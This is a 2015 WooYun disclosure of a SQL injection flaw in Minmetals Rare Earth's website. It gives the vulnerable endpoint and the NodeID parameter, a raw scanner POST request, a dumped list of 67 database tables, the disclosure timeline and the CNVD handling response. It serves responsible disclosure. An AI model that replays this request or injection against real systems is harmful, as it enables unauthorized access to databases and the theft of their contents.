漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0158256
漏洞标题：大型国有企业五矿稀土SQL注入
相关厂商：五矿稀土股份有限公司
漏洞作者： 路人甲
提交时间：2015-12-05 04:38
修复时间：2016-01-21 18:22
公开时间：2016-01-21 18:22
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：11
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-12-05： 细节已通知厂商并且等待厂商处理中
2015-12-09： 厂商已经确认，细节仅向厂商公开
2015-12-19： 细节向核心白帽子及相关领域专家公开
2015-12-29： 细节向普通白帽子公开
2016-01-08： 细节向实习白帽子公开
2016-01-21： 细节向公众公开
简要描述：
五矿稀土sql注入漏洞
详细说明：
POST /publishapi/index.php?action=add&con=fabu&NodeID=85&referer=/hudong/ywjl/index.html&TableID=5 HTTP/1.1
Content-Length: 607
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_REYOPEONOQ
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**:80/
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_FYFOOURSUT
-------AcunetixBoundary_FYFOOURSUT
Content-Disposition: form-data; name="Content"
1
-------AcunetixBoundary_FYFOOURSUT
Content-Disposition: form-data; name="submit"
1
-------AcunetixBoundary_FYFOOURSUT
Content-Disposition: form-data; name="YwEmail"
[email protected]
-------AcunetixBoundary_FYFOOURSUT
Content-Disposition: form-data; name="YwName"
rqaavvet
-------AcunetixBoundary_FYFOOURSUT
Content-Disposition: form-data; name="YwPhone"
555-666-0606
-------AcunetixBoundary_FYFOOURSUT
Content-Disposition: form-data; name="YwTitle"
注入参数 NodeID
漏洞证明：
Database: wukuang
[67 tables]
| cmsware_admin_sessions |
| cmsware_block_ip |
| cmsware_category |
| cmsware_collection_1 |
| cmsware_collection_2 |
| cmsware_collection_3 |
| cmsware_collection_4 |
| cmsware_collection_5 |
| cmsware_collection_6 |
| cmsware_collection_category |
| cmsware_collection_rules |
| cmsware_content_1 |
| cmsware_content_2 |
| cmsware_content_3 |
| cmsware_content_4 |
| cmsware_content_5 |
| cmsware_content_6 |
| cmsware_content_fields |
| cmsware_content_index |
| cmsware_content_table |
| cmsware_contribution_1 |
| cmsware_contribution_2 |
| cmsware_contribution_3 |
| cmsware_contribution_4 |
| cmsware_contribution_5 |
| cmsware_contribution_6 |
| cmsware_contribution_note |
| cmsware_extra_publish |
| cmsware_group |
| cmsware_keywords |
| cmsware_log_admin |
| cmsware_log_login |
| cmsware_node_fields |
| cmsware_plugin_base_comment |
| cmsware_plugin_base_count |
| cmsware_plugin_base_setting |
| cmsware_plugin_bbsi_access |
| cmsware_plugin_bbsi_setting |
| cmsware_plugin_oas_access |
| cmsware_plugin_oas_access_map |
| cmsware_plugin_oas_permission |
| cmsware_plugin_oas_sessions |
| cmsware_plugin_oas_setting |
| cmsware_plugins |
| cmsware_plugins_oas_user |
| cmsware_psn |
| cmsware_pubadminmasks |
| cmsware_publish_1 |
| cmsware_publish_2 |
| cmsware_publish_3 |
| cmsware_publish_4 |
| cmsware_publish_5 |
| cmsware_publish_6 |
| cmsware_publish_log |
| cmsware_resource |
| cmsware_resource_ref |
| cmsware_sessions |
| cmsware_site |
| cmsware_sys |
| cmsware_tasks |
| cmsware_tpl_cate |
| cmsware_tpl_data |
| cmsware_tpl_vars |
| cmsware_user |
| cmsware_workflow |
| cmsware_workflow_record |
| cmsware_workflow_state
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2015-12-09 16:39
厂商回复：
CNVD确认并复现所述情况,已经转由CNCERT向能源行业信息化主管部门通报,并抄报山西分中心协助处置，其后续协调网站管理单位处置.
最新状态：
暂无